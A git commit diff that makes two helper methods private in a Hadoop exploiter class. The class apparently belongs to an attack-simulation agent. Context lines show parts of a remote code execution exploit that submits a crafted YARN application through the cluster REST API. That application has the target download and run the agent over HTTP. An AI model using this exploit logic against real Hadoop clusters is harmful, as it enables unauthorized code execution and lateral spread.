Agent: Make some functions private in the Hadoop exploiter

This commit is contained in:
Shreya Malviya 2022-02-23 15:18:07 +05:30
parent ad5ce8e7d2
commit 79ccabceb1
1 changed files with 4 additions and 4 deletions

View File

@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
command = self.build_command(paths["dest_path"], http_path)
command = self._build_command(paths["dest_path"], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
@ -69,7 +69,7 @@ class HadoopExploiter(WebRCE):
rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
)
payload = self.build_payload(app_id, rand_name, command)
payload = self._build_payload(app_id, rand_name, command)
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
@ -85,7 +85,7 @@ class HadoopExploiter(WebRCE):
return False
return resp.status_code == 200
def build_command(self, path, http_path):
def _build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if "linux" in self.host.os["type"]:
@ -101,7 +101,7 @@ class HadoopExploiter(WebRCE):
}
@staticmethod
def build_payload(app_id, name, command):
def _build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,